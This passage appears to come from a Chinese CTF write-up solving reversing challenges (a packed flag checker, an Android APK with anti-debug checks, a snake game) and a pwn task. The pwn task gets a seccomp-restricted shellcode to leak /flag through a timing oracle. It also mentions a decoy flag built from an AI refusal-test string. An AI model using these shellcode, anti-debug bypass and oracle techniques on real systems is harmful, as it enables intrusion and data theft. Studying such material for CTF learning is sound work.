    return *(unsigned __int8 *)(a1 + 4210720) ^ (23 * (_DWORD)a1 + (unsigned int)(a1 >> 1) + 93);
4
}

sub_4013AB 从低位到高位地将每一次 a1 的 sub_401374 结果拼接给 __int64 v2。sub_4013AB 更名为 int64_concat。

`sub_4019EC` 和其调用函数#

1
unsigned __int64 __fastcall sub_4019EC(unsigned int n2, __int64 *a2)
2
{
3
    // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
4

5
    v11 = __readfsqword(0x28u);
6
    memset(v8, 0, sizeof(v8));
7
    v9 = 0;
8
    v10 = 0;
9
    gen_unique_positions(2, 145, 8u, v5, (char *)v8);
10
    if ...  // unused v7
11
    gen_unique_positions(n2, (unsigned __int8)n145, 103u, v6, (char *)v8);
12
    for ( n7 = 0; n7 <= 102; ++n7 )
13
    {
14
        v2 = int64_concat(v6[n7]);
15
        a2[n7] = v2 ^ random_logic(n2, (unsigned __int8)n145, n7, v6[n7]);
16
    }
17
    return v11 - __readfsqword(0x28u);
18
}

展开收起

sub_4019EC 在生成了 8 个随机数后生成了 103 个随机数，并将后者存储在 v6。随后对这 103 个随机数，分别用 int64_concat 重排后，与 sub_4016AF(...) 异或并存储到 a2。

`sub_403484` 的 Flag 校验#

注意我们最后需要判断的表达式

1
return (unsigned int)sub_403484((unsigned __int64 *)&v2[4], ...) && *(_QWORD *)&v2[4] == 0

这依赖于 sub_403484 对 v2[4]（其第 1 个参数）的操作，追溯该函数得

1
__int64 __fastcall sub_403484(unsigned __int64 *a1, __int64 main_flag, unsigned int a3, _QWORD *a4, __int64 a5)
2
{
3
    ...
4
    for ( i = 0; i <= 102; ++i )
5
    {
6
        ...
7
        v18 = sub_40292C(a3, i, (unsigned int)v19, (_DWORD)ptr, v12, (_DWORD)a4, v17);
8
        v11 = v18;
9
        v7 = sub_402677(*(_BYTE *)(main_flag + i), (unsigned __int64 *)v19, v18, i);
10
        v13 |= (unsigned __int8)(v11 ^ v7);
11
        ...
12
    }
13
    ...
14
    *a1 = v13;
15
    ...
16
}

展开收起

这即一个带状态的流密码。考虑到整个流程过于复杂，手动复刻是几乎不可能的。注意到存储 Flag 比对情况的 a1 事实上由 103 个 v11 ^ v7 的值合成，我们考虑引入脚本进行自动 Flag 爆破，对 Flag 的每一位运行完整逻辑后比对 v11 和 v7 的值，直到 103 位爆破完毕。

由 Binary Ninja 的 MLIL

1
...
2
  82 @ 00403645  rax_21 = sub_402677(rdi_8, rsi_5, rdx_5, rcx_3)
3
  83 @ 0040364a  rax_21 = rax_21 ^ var_b1_1
4
  84 @ 00403650  rax_22 = zx.q(zx.d(rax_21))
5
  85 @ 00403653  var_a8 = var_a8 | rax_22

注意 0x40364a 为异或逻辑。查看汇编以确认

1
0040364a  328557ffffff       xor     al, byte [rbp-0xa9 {var_b1_1}]

使用 checksec 查看 GQuuuuuupX 的二进制保护机制

又因为程序并没有开启 PIE，我们确定于 0x403650 下断点并判断 al 是否为 0。编写 GDB Script 以 rax 的值测试 Flag：

使用 GDB 脚本逐字符爆破 Flag

注意到第一次爆破出的 Flag 是 Anthropic 提供的用于测试 Claude 的 refusal handling 的字符串，但实际上该 Flag 并不正确。考虑到原附件使用了 UPX 壳保护，分析未脱壳前文件，发现了 memfd_create 的逻辑

1
0040a264        while (true)
2
0040a264        {
3
0040a264            rax_5 = syscall(sys_memfd_create {0x13f}, var_20, rsi_2);
4
...

这说明 UPX 壳经过了魔改，实现了类似无文件执行的逻辑，并在运行时动态替换了加密内容。提取出被修改过后的脱壳版本是困难的。这里，我们直接使用未脱壳的版本进行爆破，考虑到壳最终会将代码片段释放于 0x400000 处。

下面给出一个 GDB Script。在爆破无壳版本时，零音将 break 置为 hbreak，以防止 UPX 脱壳时覆盖掉 GDB 附加的断点。考虑到方便，该 Script 循环删添断点。

1
import gdb
2

3
charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_"
4
known_flag = ""
5

6
gdb.execute("set pagination off")
7

8
for i in range(103):
9
    for c in charset:
10
        test_input = known_flag + c + "R" * (102 - i)
11

12
        with open("input.txt", "w") as f:
13
            f.write("miniL{" + test_input + "}\n")
14

15
        gdb.execute("delete")
16
        gdb.execute("starti < input.txt")
17
        gdb.execute("hbreak *0x403650")
18

19
        for _ in range(i + 1):
20
            gdb.execute("continue")
21

22
        rax_val = int(gdb.parse_and_eval("$rax"))
23

24
        if (rax_val & 0xFF) == 0:
25
            print(f"[+] The {i}st/nd/th char is {c}")
26
            known_flag += c
27
            print(f"Current Flag is {known_flag}")
28
            break
29

30
print("FINAL FLAG: miniL{" + known_flag + "}")

展开收起

运行后可以得到 Flag。

Schrodinger’s Env#

Flag

miniL{hook_the_detector_not_the_branch}

使用 JADX GUI 打开 schrodinger.apk，审计其中 com.fanshang.chal1.MainActivity() 的源代码。

1
...
2

3
/* JADX INFO: loaded from: classes.dex */
4
public class MainActivity extends AppCompatActivity {
5
    private EditText inputTicket;
6
    private TextView textResult;
7

8
    private native String getResultNative(String str, AssetManager assetManager);
9

10
    static {
11
        System.loadLibrary("chal1");
12
    }
13

14
    ...
15

16
    /* JADX INFO: Access modifiers changed from: private */
17
    public void updateResult(String str) {
18
        String strNormalizeTicket = normalizeTicket(str);
19
        if (strNormalizeTicket.isEmpty()) {
20
            this.textResult.setText(getString(R.string.default_result));
21
        } else {
22
            this.textResult.setText(getResultNative(strNormalizeTicket, getAssets()));
23
        }
24
    }
25

26
    ...
27
}

展开收起

该 .apk Natively 加载了 libchal1.so。大体上，其实现了一个 AppCompatActivity，包含一个用于输入 ticket 的编辑框 inputTicket 和一个指示状态的文本 textResult。在 JADX GUI 中导出该 .so 文件，使用 IDA Pro 打开并分析 updateResult 调用的 Java_com_fanshang_chal1_MainActivity_getResultNative。

函数处理用户输入，首先使用 GetStringUTFChars 将用户输入转成 C string，筛选其中 [A-Za-z0-9] 的字符，并将所有大写转为小写。随后，将处理后的输入使用 FNV-1a 64-bit 取哈希，以 offset basis 0xCBF29CE484222325 和 prime 0x00000100000001B3，并期望哈希为 0xF625741C0FFE8C21。

该 .apk 具有双重防调试检测。

程序逐行读取 /proc/self/maps 并查找 /system/framework/XposedBridge.jar 文件。若找到则设置 maps_status 为 "hooked:maps"，否则 "clean:maps"。
程序使用 __system_property_get 读取系统属性 ro.security.magic_token，并使用 AAssetManager 将其 assets 中的 compat_profile.dat 按照一定 XOR 方法解密，与前者比对。若比对成功，则设置 token_status 为 "hooked:token"，否则 "clean:token"。

随后，两个 64-bit 的 seed 值由状态字符串计算。

1
v85 = FNV1a(maps_status) ^ 0xC0DEC0DE12345678
2
v90 = FNV1a(token_status) ^ 0x9E3779B97F4A7C15

这些 seed 由类 XORshift 算法迭代 16 次后得到了一个 16 字节的 key。

1
for (i = 0; i < 16; i++) {
2
    v92 = v85 ^ (v85 << 7) ^ ((v85 ^ (v85 << 7)) >> 9);
3
    v93 = v92 ^ (v92 << 8);
4
    rot = 13 * (i / 13) - i + 61;
5
    v85 = ROR64(i + v93 - 0x5A5A5A5A5A5A5A5B, rot) ^ v90;
6
    v94 = ROR64(v85, 47);
7
    v90 = v93 ^ v94;
8
    key[i] = v85 ^ i ^ BYTE4(v85) ^ v93 ^ v94;
9
}

该 key 参与生成了两个 64-bit 的初始状态。

1
v95 = key[0:8] ^ 0x74696E7950524E47   # "GNRPythonie"
2
v96 = key[8:16] ^ 0x6B65797374726561  # "aertsyek"

加密的内容存在于 .rodata 段，分别位于 0x16660、0x16670、0x1667C，共 44 字节。

1
D8 6C 54 02 5B DC 3A 82 0A 1E 1F 84 EA 89 5B 09
2
81 59 91 A1 F9 51 AC 55 CB 9B 50 B5
3
0F 77 C1 50 4F B9 76 0B 6B 8A 59 A1 CC D4 BA 60

解密流程类似于 CFB。

1
v97 = -40;  // = 0xD8
2
v98 = (char*)src + 1;
3
n61 = 61;
4
while (1) {
5
    v100 = v95 ^ v96;
6
    v101 = v95 ^ v96 ^ ROR64(v95, 40);
7
    v96 = ROR64(v100, 27);
8
    *(v98 - 1) = v97 ^ (v101 + v96) ^ n61;  // plaintext byte
9
    if (n61 == 792) break;
10
    v102 = *v98++;      // read next encrypted byte
11
    v97 = v102;         // feedback
12
    v95 = v101 ^ (v100 << 16);
13
    n61 += 17;
14
}

解密流程运行 44 轮，顺次每次解密 1 个字节。随后程序检查解密结果是否以 "MSDK|" 开头：若是，则返回剩余内容为 Flag；若否，则继续 XOR 解密出 31 字节的错误信息。

我们给出解密脚本。

1
import struct
2

3
FNV_OFFSET = 0xCBF29CE484222325
4
FNV_PRIME = 0x100000001B3
5

6
def fnv1a_64(data):
7
    h = FNV_OFFSET
8
    for b in data:
9
        h = ((h ^ b) * FNV_PRIME) & 0xFFFFFFFFFFFFFFFF
10
    return h
11

12
def ror64(val, n):
13
    n &= 0x3F
14
    return ((val >> n) | (val << (64 - n))) & 0xFFFFFFFFFFFFFFFF
15

16
def generate_key(v85, v90):
17
    key = bytearray(16)
18
    for i in range(16):
19
        v92 = (v85 ^ ((v85 << 7) & 0xFFFFFFFFFFFFFFFF) ^
20
               ((v85 ^ ((v85 << 7) & 0xFFFFFFFFFFFFFFFF)) >> 9)) & 0xFFFFFFFFFFFFFFFF
21
        v93 = (v92 ^ ((v92 << 8) & 0xFFFFFFFFFFFFFFFF)) & 0xFFFFFFFFFFFFFFFF
22
        rot = (13 * (i // 13) - i + 61) & 0x3F
23
        v85 = (ror64((i + v93 - 0x5A5A5A5A5A5A5A5B) & 0xFFFFFFFFFFFFFFFF, rot) ^ v90) & 0xFFFFFFFFFFFFFFFF
24
        v94 = ror64(v85, 47)
25
        v90 = (v93 ^ v94) & 0xFFFFFFFFFFFFFFFF
26
        key[i] = (v85 ^ i ^ ((v85 >> 32) & 0xFF) ^ v93 ^ v94) & 0xFF
27
    return key
28

29
encrypted = bytes([
30
    0xD8, 0x6C, 0x54, 0x02, 0x5B, 0xDC, 0x3A, 0x82,
31
    0x0A, 0x1E, 0x1F, 0x84, 0xEA, 0x89, 0x5B, 0x09,
32
    0x81, 0x59, 0x91, 0xA1, 0xF9, 0x51, 0xAC, 0x55,
33
    0xCB, 0x9B, 0x50, 0xB5,
34
    0x0F, 0x77, 0xC1, 0x50, 0x4F, 0xB9, 0x76, 0x0B,
35
    0x6B, 0x8A, 0x59, 0xA1, 0xCC, 0xD4, 0xBA, 0x60,
36
])
37

38
def decrypt(encrypted, key):
39
    v95 = struct.unpack('<Q', key[0:8])[0] ^ 0x74696E7950524E47
40
    v96 = struct.unpack('<Q', key[8:16])[0] ^ 0x6B65797374726561
41
    result, v97, n61 = bytearray(44), 0xD8, 61
42
    for i in range(44):
43
        v100 = (v95 ^ v96) & 0xFFFFFFFFFFFFFFFF
44
        v101 = (v95 ^ v96 ^ ror64(v95, 40)) & 0xFFFFFFFFFFFFFFFF
45
        v96 = ror64(v100, 27)
46
        result[i] = (v97 ^ ((v101 + v96) & 0xFF) ^ n61) & 0xFF
47
        if n61 == 792: break
48
        v97 = encrypted[i + 1] if i + 1 < 44 else 0
49
        v95 = (v101 ^ ((v100 << 16) & 0xFFFFFFFFFFFFFFFF)) & 0xFFFFFFFFFFFFFFFF
50
        n61 += 17
51
    return bytes(result)
52

53
# The flag is revealed when both anti-debug checks report "hooked"
54
for maps_str in ["clean:maps", "hooked:maps"]:
55
    for token_str in ["clean:token", "hooked:token"]:
56
        v85 = fnv1a_64(maps_str.encode()) ^ 0xC0DEC0DE12345678
57
        v90 = fnv1a_64(token_str.encode()) ^ 0x9E3779B97F4A7C15
58
        key = generate_key(v85, v90)
59
        result = decrypt(encrypted, key)
60
        print(f"{maps_str} + {token_str} -> {result[:40]}")

展开收起

Snake#

Fake Flag

miniL{route_only}

Flag

miniL{r0ut3_Snk}

游玩后发现玩法类似于贪吃蛇。

首先定位 main 函数。Binary Ninja 在这里给出的 HLIL 和 Pseudo C 代码过于吊诡，不过容易得到实际的游戏主逻辑位于 sub_402760，我们直接分析该函数即可。

初始化 validator blob#

注意到

1
void* rax_2 = sub_4dbdf0(0x480);
2
memcpy(rax_2, &data_4e15c0, 0x480);

程序分配了 0x480 大小的空间，并拷贝了来自 data_4e15c0 的初始数据。

按键处理#

在 0x402ac3 附近程序进行了按键处理。程序接受 WSAD 的响应。

1
if (!_kbhit()) {...} else
2
{
3
    int32_t var_1e0_7 = 1;
4
    int32_t rax_11 = _getch();
5
    uint64_t rdx_6 = (uint64_t)(rax_11 - 0x1b);
6

7
    if ((uint32_t)rdx_6 > 0x5c)
8
    {
9
    label_402cb4:
10

11
        if (rax_11 && rax_11 != 0xe0)
12
            goto label_402cd0;
13

14
        int32_t var_1e0_17 = 1;
15
        uint64_t rax_41 = (uint64_t)(_getch() - 0x48);
16

17
        if ((uint32_t)rax_41 > 8)
18
            goto label_402cd0;
19

20
        int32_t rax_42 = *(uint32_t*)(&data_4e1320 + (rax_41 << 2));
21
        (uint32_t)var_228_1 = rax_42;
22

23
        if (rax_42 == 5)
24
            goto label_403007;
25

26
        rax_12 = (uint32_t)var_58;
27

28
        if (!(uint32_t)var_228_1)
29
            goto label_402ce4;
30
    }
31
...
32
}

展开收起

随后通过

1
sub_401760(var_218, (int32_t)data_4e1304[rax_24]);

进行 blob 变换。这里，data_4e1304 是字符串

1
004e1304  char const data_4e1304[0x5] = "PALS", 0

而 rax_24 由

1
uint64_t rax_24 = (uint64_t)((uint32_t)var_228_1 - 1);

和

1
HANDLE (* const var_228_1)(enum STD_HANDLE nStdHandle) = GetStdHandle;

知道为 GetStdHandle - 1 的值。从而我们建立了按键方向到 transform 字符的映射：

按键	方向	GetStdHandle	`aPals[index]`	transform
W	上	1	`aPals[0]`	P
S	下	2	`aPals[1]`	A
A	左	3	`aPals[2]`	L
D	右	4	`aPals[3]`	S

blob 变换#

函数 sub_401760(a1, op) 负责 blob 变换。注意到这样的代码架构：

1
int64_t sub_401760(int64_t* arg1, int32_t arg2)
2
{
3
    ...
4
    char temp3 = (uint8_t)arg2;
5

6
    if (temp3 == 'L') {...}
7
    else
8
    {
9
        ...
10
        if (temp3 <= 'L')
11
        {
12
            if ((uint8_t)arg2 != 'A')
13
            {
14
                ...
15
                sub_4a64d0(rax_17, "unknown transform op");
16
            }
17
            ...
18
        }
19
        else
20
        {
21
            char rax_1 = (uint8_t)arg2;
22
            if (rax_1 == 'P') {...}
23
            else { if (rax_1 != 'S') {...} }
24
        }
25
    }
26
    ...
27
}

展开收起

分析代码发现不同的 op 对应不同的操作逻辑。具体地，我们给出各 op 所对应逻辑的等价 Python 表达。

`op == 'L'`#

1
def rol8(x, n):
2
    return ((x << n) | (x >> (8 - n))) & 0xff
3

4
blob = bytearray(rol8(x, 3) for x in blob)

`op == 'A'`#

1
blob = bytearray((x + 30) & 0xff for x in blob)

`op == 'S'`#

1
blob = bytearray((x - 102) & 0xff for x in blob)

`op == 'P'`#

1
blob = blob[6:] + blob[:6]

从而

transform	触发按键	效果
P	W	blob 循环左移 6 字节
A	S	每字节 `+30`
L	A	每字节 `rol8(x, 3)`
S	D	每字节 `-102`

食物#

注意到

1
int64_t rax_93 = var_28_1 + 1;
2

3
if (rax_93 <= 9)
4
{
5
    var_28_1 = rax_93;
6
    *(uint64_t*)((char*)&var_38 + 4) =
7
        *(uint64_t*)(&data_4e1560 + (rax_93 << 3));
8
    rax_58 = (uint8_t)var_f8;
9
}

程序使用了 data_4e1560 的数据，这事实上是 10 个固定食物的坐标。在 Binary Ninja 中设置 Type 为 32 位整数可得

1
004e1560  int32_t data_4e1560 = 0x11        004e1564  int32_t data_4e1564 = 0x0
2
004e1568  int32_t data_4e1568 = 0xc         004e156c  int32_t data_4e156c = 0xa
3
004e1570  int32_t data_4e1570 = 0x3         004e1574  int32_t data_4e1574 = 0xb
4
004e1578  int32_t data_4e1578 = 0xf         004e157c  int32_t data_4e157c = 0x9
5
004e1580  int32_t data_4e1580 = 0xd         004e1584  int32_t data_4e1584 = 0x12
6
004e1588  int32_t data_4e1588 = 0x4         004e158c  int32_t data_4e158c = 0xa
7
004e1590  int32_t data_4e1590 = 0xc         004e1594  int32_t data_4e1594 = 0xa
8
004e1598  int32_t data_4e1598 = 0xe         004e159c  int32_t data_4e159c = 0x10
9
004e15a0  int32_t data_4e15a0 = 0x3         004e15a4  int32_t data_4e15a4 = 0x7
10
004e15a8  int32_t data_4e15a8 = 0x13        004e15ac  int32_t data_4e15ac = 0xe

每个坐标由两个小端序的 uint32_t 组成。解析得到所有的坐标：

1
(17, 0), (12, 10), (3, 11), (15, 9), (13, 18), (4, 10), (12, 10), (14, 16), (3, 7), (19, 14)

前 10 个食物出现的坐标是固定的，随后的食物出现的坐标是伪随机的。蛇吃到食物后，如果未满足成功哈希（下文即将提及），则将食物切换到下一个坐标。

MD5 校验#

吃到食物时，程序会调用

1
sub_401a00(&var_168, var_218);

进行变换序列的 MD5 校验。

1
if (!rdx_4)
2
{
3
    if (!memcmp(_Buf1, &data_4e1a50, 0x10)) {...}
4
    else {...}
5
}
6
else if (!memcmp(_Buf1, &data_4e1a40, 0x10)) {...}
7
else
8
{
9
    if (memcmp(_Buf1, &data_4e1a50, 0x10)) {...}
10
    else {...}
11

12
    _Size = 0;
13
    *(uint8_t*)_Size_3 = 0;
14
    uint64_t _Size_10 = _Size_3;
15

16
    if (_Size_10 != &var_228_3[2])
17
        sub_4dbdb0(_Size_10);
18

19
    char* r9_1 = "The forest accepts your route.";
20

21
    if (!rdx_4)
22
        r9_1 = "The forest accepts your flag.";
23

24
    ...
25
}

展开收起

这段代码过于诡谲。大体地，它分为两类校验途径。rdx_4 是来自

1
IsDebuggerPresent();
2
CheckRemoteDebuggerPresent(...);

的调试器检测结果。在调试状态下，程序有可能进去 sub_401f40 的干扰分支，在这里

1
sub_4bfb00(arg1, "miniL{route_only}", &data_4e1072[0x11]);

存在 FakeFlag miniL{route_only} 亦会被认为正确。在非调试状态下，则仅命中 data_4e1a50 会进入 Flag 解密分支。这里

1
0x4E1A50: ca c0 df cf 4b 79 5e e7 43 6b 17 72 1d 24 11 e1

从而目标 MD5 为 cac0dfcf4b795ee7436b17721d2411e1。

变换序列#

这即要求我们找到一个由 P/A/L/S 组成的变换序列，使得从初始 blob 出发，在应用对应的有效转向后，变换后的 blob 的 MD5 与目标 MD5 相等。这里的有效转向有这样的规定，即每次 transform 都是由转向产生的，从而不能按相同方向重复触发；不能直接反向。蛇的初始方向是右。

合法的 transfrom 序列可以进行 DFS 搜索。GPT-5.4 完成了全部搜索逻辑，最终得到了合法序列

1
PSPLALPSALALPSALAS

它对应按键序列

1
WDWASAWDSASAWDSASD

解密 Flag#

命中真实哈希后，程序使用当前 blob 派生 4 个 32-bit key word，并使用一个 TEA 风格的循环还原 16 字节明文。

在 Python 中复原对应逻辑，得到了派生 key：

1
0x032a05e4
2
0x866a4de5
3
0xa815d7ef
4
0x1a8c3ff3

解密后得到 16 字节：

1
6d 69 6e 69 4c 7b 72 30 75 74 33 5f 53 6e 6b 7d

这即

1
miniL{r0ut3_Snk}

我们给出完整复现脚本。该脚本可以直接计算得到合法转向序列，并直接还原得到 Flag。由于我们使用了 IDA 的 Export for AI 插件，该脚本需要使用导出的 memory/ 内容。手动提取后稍作修改即可得到独立运行的版本。

1
import re
2
import struct
3
import hashlib
4
from pathlib import Path
5

6
base = Path("export-for-ai/memory/004E1000--004F1000.txt")
7

8
mem = {}
9
for line in base.read_text().splitlines():
10
    if "|" not in line:
11
        continue
12
    if not re.match(r"[0-9A-Fa-f]{16}", line):
13
        continue
14
    addr = int(line.split("|")[0].strip(), 16)
15
    bs = bytes.fromhex("".join(line.split("|")[1].split()))
16
    for i, b in enumerate(bs):
17
        mem[addr + i] = b
18

19
def get(addr, n):
20
    return bytes(mem[addr + i] for i in range(n))
21

22
def rol8(x, n):
23
    return ((x << n) | (x >> (8 - n))) & 0xff
24

25
def rol32(x, n):
26
    x &= 0xffffffff
27
    return ((x << n) | (x >> (32 - n))) & 0xffffffff
28

29
def transform(blob, op):
30
    if op == "P":
31
        return blob[6:] + blob[:6]
32
    if op == "A":
33
        return bytearray((x + 30) & 0xff for x in blob)
34
    if op == "L":
35
        return bytearray(rol8(x, 3) for x in blob)
36
    if op == "S":
37
        return bytearray((x - 102) & 0xff for x in blob)
38
    raise ValueError(op)
39

40
blob = bytearray(get(0x4E15C0, 0x480))
41
target_route = get(0x4E1A40, 16)
42
target_real = get(0x4E1A50, 16)
43

44
print("initial md5 =", hashlib.md5(blob).hexdigest())
45
print("route target =", target_route.hex())
46
print("real target  =", target_real.hex())
47

48
seq = "PSPLALPSALALPSALAS"
49
for c in seq:
50
    blob = transform(blob, c)
51

52
md5 = hashlib.md5(blob).digest()
53
print("sequence =", seq)
54
print("md5      =", md5.hex())
55
assert md5 == target_real
56

57
# Reimplement the decrypt branch at sub_402760.
58
k = list(struct.unpack(
59
    "<4I",
60
    struct.pack("<QQ", 0x85A308D3243F6A88, 0x0370734413198A2E),
61
))
62

63
for i, b in enumerate(blob):
64
    j = i & 3
65
    expr = (
66
        (k[(j + 1) & 3] << 6)
67
        + b
68
        - 1640531527
69
        + (k[(j + 3) & 3] >> 2)
70
    ) & 0xffffffff
71
    k[j] = rol32(k[j] ^ expr, ((j + i) & 7) + 5)
72

73
words = struct.unpack("<" + "I" * (len(blob) // 4), bytes(blob))
74
for i in range(4):
75
    k[i] ^= words[i + 16]
76
    k[i] &= 0xffffffff
77

78
print("derived key =", [hex(x) for x in k])
79

80
delta = 1640531527
81

82
v33 = (-1667878697) & 0xffffffff
83
n1548290277 = 1548290277
84
i = (-1914802624) & 0xffffffff
85

86
while i != ((-957401312) & 0xffffffff):
87
    v36 = (i + k[(i >> 11) & 3]) & 0xffffffff
88
    i = (i + delta) & 0xffffffff
89
    v33 = (
90
        v33
91
        - (
92
            v36
93
            ^ (
94
                n1548290277
95
                + (((n1548290277 >> 5) ^ ((16 * n1548290277) & 0xffffffff)) & 0xffffffff)
96
            )
97
        )
98
    ) & 0xffffffff
99
    n1548290277 = (
100
        n1548290277
101
        - (
102
            (i + k[i & 3])
103
            ^ (
104
                v33
105
                + (((v33 >> 5) ^ ((16 * v33) & 0xffffffff)) & 0xffffffff)
106
            )
107
        )
108
    ) & 0xffffffff
109

110
n187379157 = 187379157
111
v38 = (-1460295615) & 0xffffffff
112

113
while True:
114
    v39 = (i + k[(i >> 11) & 3]) & 0xffffffff
115
    i = (i + delta) & 0xffffffff
116
    n187379157 = (
117
        n187379157
118
        - (
119
            v39
120
            ^ (
121
                v38
122
                + (((v38 >> 5) ^ ((16 * v38) & 0xffffffff)) & 0xffffffff)
123
            )
124
        )
125
    ) & 0xffffffff
126
    v38 = (
127
        v38
128
        - (
129
            (i + k[i & 3])
130
            ^ (
131
                n187379157
132
                + (((n187379157 >> 5) ^ ((16 * n187379157) & 0xffffffff)) & 0xffffffff)
133
            )
134
        )
135
    ) & 0xffffffff
136
    if i == 0:
137
        break
138

139
flag = struct.pack("<4I", v38, n187379157, n1548290277, v33)
140
print("flag bytes =", flag.hex())
141
print("flag       =", flag.decode())

展开收起

二进制漏洞审计 / Pwn#

n4n0sleep#

前言：零音在 4 月 2 日完成一道 XDSEC BBS 上的题目时，想到了一种使用 nanosleep 进行对 Flag 逐位 oracle 的方法。本题可看作是上述题目的加强版。

1
eval($_GET['lycn!']);           12:11:18  有个 syscall 叫 nanosleep
2
eval($_GET['lycn!']);           12:11:22  可以直接睡 2 秒
3
PPPoE                           12:12:11  强？
4
[Eternal/Ly is xnn]starwalking  12:12:48  /求放过

Flag

miniL{lOvE_ANd-pe4ce9f6291349c5}

使用 Binary Ninja 打开 pwn，注意程序主逻辑仅一个函数 main。程序首先使用 mmap 分配 0x100 大小的一块 RW 的私有内存空间 rax_1，随后通过循环短读向 rax_1 读取完整的 0x100 字节内容，并设置这段内存 RX。随后程序携这段内存 fork() 自身。这里我们使用 parent 和 child 加以区分二者。

1
if (!pid)
2
{
3
    alarm(1);
4
    prctl(0x1a, 2, 0, 0, 0);
5
    syscall(0x1b4, 0, 0xffffffff, 0);
6
    int64_t var_68;
7
    __builtin_memcpy(&var_68,
8
        "\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x05\x3e\x00\x00\xc0\x"
9
    "20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x03\x00\x00\x00\x00\x40\x15"
10
    "00\x03\x00\x00\x00\x00\x00\x15\x00\x02\x00\x02\x00\x00\x00\x15\x00"
11
    "01\x00\x23\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x80\x06\x00\x00"
12
    "00\x00\x00\xff\x7f",
13
        0x48);
14
    int64_t* var_70 = &var_68;
15
    int16_t var_78 = 9;
16

17
    if (!prctl(0x26, 1, 0, 0, 0) && !prctl(0x16, 2, &var_78))
18
    {
19
        rax_1();
20
        trap(6);
21
    }
22

23
    _exit(1);
24
    /* no return */
25
}

展开收起

child 设置了 1 秒后的 SIGALRM 后，调用 c prctl(PR_SET_TSC, PR_TSC_SIGSEGV, 0, 0, 0); 设置进程不可读 timestamp，可能是用于反调试。随后它执行 436 号 syscall close_range 关闭所有（从 0 到 0xffffffff）文件描述符（file descriptior，fd），并调用 prctl 进行 PR_SET_NO_NEW_PRIVS 和 PR_SET_SECCOMP，前者禁用了需要用到 execve 的一切操作，后者传入 var_78 结构体作一个 Berkeley Packet Filter (BPF)。

seccomp-tools dump ./pwn 因未知原因无法在本题工作。我们可以先了解一些 BPF 的结构。检索 /usr/include/linux/filter.h，得到下面的定义

1
struct sock_filter {  /* Filter block */
2
    __u16 code;       /* Actual filter code */
3
    __u8 jt;          /* Jump true */
4
    __u8 jf;          /* Jump false */
5
    __u32 k;          /* Generic multiuse field */
6
};
7

8
struct sock_fprog {      /* Required for SO_ATTACH_FILTER. */
9
    unsigned short len;  /* Number of filter blocks */
10
    struct sock_filter *filter;
11
};

依托栈上变量的先后关系，这里 sock_fprog 的 len 为 var_78 即 9，*filter 为指向 var_68 的 var_70。使用 Python 脚本还原这 9 个 sock_filter：

1
import struct, textwrap
2
data = bytes.fromhex("20 00 00 00 04 00 00 00 15 00 00 05 3e 00 00 c0 20 00 00 00 00 00 00 00 35 00 03 00 00 00 00 40 15 00 03 00 00 00 00 00 15 00 02 00 02 00 00 00 15 00 01 00 23 00 00 00 06 00 00 00 00 00 00 80 06 00 00 00 00 00 ff 7f")
3
for i in range(0, len(data), 8):
4
    code, jt, jf, k = struct.unpack("<HBBI", data[i:i+8])
5
    print(i//8, hex(code), jt, jf, hex(k))

得到

1
0 0x20 0 0 0x4
2
1 0x15 0 5 0xc000003e
3
2 0x20 0 0 0x0
4
3 0x35 3 0 0x40000000
5
4 0x15 3 0 0x0
6
5 0x15 2 0 0x2
7
6 0x15 1 0 0x23
8
7 0x6 0 0 0x80000000
9
8 0x6 0 0 0x7fff0000

现在我们便可以检索 /usr/include/linux/bpf_common.h，依照其指令以完成分析，但使用 seccomp-tools disasm 是更快捷的方式。将 var_68 dump 为 bpf 并 seccomp-tools disasm ./bpf 即可。

使用 seccomp-tools 反汇编得到的系统调用过滤规则

即，该 seccomp 仅放行 read、open 和 nanosleep，并禁止了一切 32 位 syscall 和 x32 ABI syscall。

随后 child 执行用户输入的 shellcode（rax_1），并在执行结束后由 ud2 SIGILL。

1
waitpid(pid, nullptr, 0);
2
result = (int32_t)(write(1, &data_402004, 1) >> 0x3f);

parent 等待 child 结束后向标准输出写入一个 .（句点）后退出。

查看 waitpid 的文档可得，waitpid 解除 parent 的阻塞于 child 退出或收到任何信号，这即包括 SIGALRM。即，在任何情况下，child 都存活不过 1 秒。基于此，我们可以进行逐位 oracle 远程 Flag（/flag），以等待时间为每一位的判断依据。

题目开放了 nanosleep，但更简洁的做法是使用死循环，考虑到程序 1 秒后总会退出。零音编写了初版 oracle 脚本，但由于诡异的网络波动导致 oracle 无法正常进行。GPT-5.5 和 Gemini 3.1 Pro 修改了零音的 oracle 脚本，加入了完备的 oracle 方案，将基于 nanosleep 的 oracle 换成了基于死循环的 oracle，并将逐位比较换成了二分比较，以提升 oracle 的速度和准确率。同时支持了 --known-prefix 用以断点续传。我们在下面给出脚本。

1
#!/usr/bin/env python3
2
from __future__ import annotations
3

4
import argparse
5
import statistics
6
import time
7

8
from pwn import asm, context, process, remote
9

10

11
context.clear(arch="amd64", os="linux")
12
context.log_level = "error"
13

14

15
DEFAULT_ALPHABET = (
16
    "0123456789"
17
    "abcdefghijklmnopqrstuvwxyz"
18
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
19
    "_{}-!@#$%^&*()+[]=,:;./?<>"
20
)
21

22

23
CONDITION_BRANCHES = {
24
    "eq": "jne done",  # hit if flag[index] == candidate
25
    "le": "ja done",   # hit if flag[index] <= candidate, unsigned byte compare
26
}
27

28

29
def build_payload(index: int, candidate: int, flag_path: str, condition: str) -> bytes:
30
    if condition not in CONDITION_BRANCHES:
31
        raise ValueError(f"unsupported condition: {condition!r}")
32

33
    path = flag_path.encode() + b"\x00"
34
    done_branch = CONDITION_BRANCHES[condition]
35
    code = f"""
36
        lea rdi, [rip + path]
37
        xor esi, esi
38
        xor edx, edx
39
        mov eax, 2
40
        syscall
41

42
        mov edi, eax
43
        lea rsi, [rsp - 0x100]
44
        mov edx, 0x80
45
        xor eax, eax
46
        syscall
47

48
        cmp byte ptr [rsi + {index}], {candidate}
49
        {done_branch}
50

51
    hit_loop:
52
        jmp hit_loop
53

54
    done:
55
        ret
56

57
    path:
58
        .byte {",".join(str(b) for b in path)}
59
    """
60
    payload = asm(code)
61
    if len(payload) > 256:
62
        raise ValueError(f"payload is too large: {len(payload)} bytes")
63
    return payload.ljust(256, b"\x90")
64

65

66
def query(
67
